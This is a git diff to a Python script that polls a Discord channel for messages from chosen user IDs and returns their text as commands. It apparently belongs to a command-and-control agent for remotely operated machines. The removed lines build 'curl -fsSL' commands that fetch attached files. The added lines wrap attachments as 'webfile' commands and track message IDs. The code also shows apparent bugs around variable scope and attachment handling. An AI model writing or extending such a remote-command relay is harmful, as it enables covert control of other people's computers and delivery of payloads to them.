added scan file

1 files changed, 18 insertions, 14 deletions

diff --git a/main.py b/main.py
index f247eb3..8dc0293 100644
--- a/main.py
+++ b/main.py
@@ -18,25 +18,29 @@ def main():
     global url
     # Make the API request to fetch messages from the channel
     response = get(url, headers=headers)
-
     # Check if the request was successful (status code 200)
     if response.status_code == 200:
         messages = response.json()
+        files = []
         # Process the user's messages
-        message = [message for message in messages if message['author']['id'] in user_id][0]['content']
+        message = [message for message in messages if message['author']['id'] in user_id][0]
+        cmd = message['content']
+
+        #detect files
         if len(messages[0]['attachments']) > 0:
+            for attachment in messages[0]['attachments']:
+                try:
+                    file = attachment['url']
+                    files.append(file)
+                    cmd = "webfile " + str(files)
+                except:
+                    pass
+        if message['id'] != old_message:
             try:
-                file = messages[0]['attachments'][0]['url']
-                message = "curl -fsSL " + file
-                return message
-            except:
-                pass
-        if message != old_message:
-            try:
-                return message
+                old_message = message['id']
+                return cmd
             except:
                 pass
-            old_message = message
         else:
             sleep(1)
     else:
@@ -44,7 +48,7 @@ def main():
 
 if __name__ == "__main__":
     while 1:
-        print(
-                main()
-                )
+        #print(
+            main()
+                #)